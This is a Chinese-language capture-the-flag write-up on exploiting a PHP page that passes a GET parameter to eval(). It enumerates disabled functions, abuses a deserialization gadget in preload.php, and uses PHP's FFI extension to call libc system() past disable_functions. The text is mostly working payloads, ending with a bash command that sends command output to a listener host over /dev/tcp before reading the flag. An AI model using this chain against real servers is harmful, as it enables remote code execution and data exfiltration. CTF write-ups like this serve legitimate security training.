<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
嘗試利用eval
?a=echo system("ls");
system()函數被禁止了.
嘗試查看phpinfo();
?a=phpinfo();
查看成功,在頁面查找disable_functions來查看都有哪些函數被禁用了:
在這裏插入圖片描述
接下來使用其中沒有過濾的函數進行滲透:
?a=echo var_dump(scandir("/var/www/html/"));
返回結果如下:
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(11) "preload.php" }
查看preload.php的內容:
?a=echo%20file_get_contents("preload.php");
得到如下代碼:
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
利用下面的腳本生成一個序列化對象:
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '666'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
}
public function __construct () {
}
}
$A = new A();
var_dump(serialize($A))
?>
string(76) "C:1:"A":63:{a:3:{s:3:"ret";N;s:4:"func";s:7:"print_r";s:3:"arg";s:3:"666";}}"
傳參:
?a=include(%27preload.php%27);var_dump(unserialize(%27C:1:"A":63:{a:3:{s:3:"ret";N;s:4:"func";s:7:"print_r";s:3:"arg";s:3:"666";}}%27)->__get("ret"));
返回結果如下:
成功用函數print_r打印出666
然後emmm,實在是想不出來改怎麼利用,system,exec這些函數都被禁用了,於是看了看隊裏之前的wp:
發現一個叫做FFI的拓展
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // this is regular C declaration
"libc.so.6");
// call C printf()
$ffi->printf("Hello %s!\n", "world");
那就修改一下之前生成payload的腳本:
?a=include(%27preload.php%27);unserialize(%27C:1:%22A%22:89:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:26:%22int%20system(char%20*command);%22;}}%27)-%3E__get(%22ret%22)-%3Esystem(%27bash%20-c%20%22ls%20%3E%20/dev/tcp/監聽主機ip/8080%22%27);
發現flag,接下來把命令改成cat /flag即可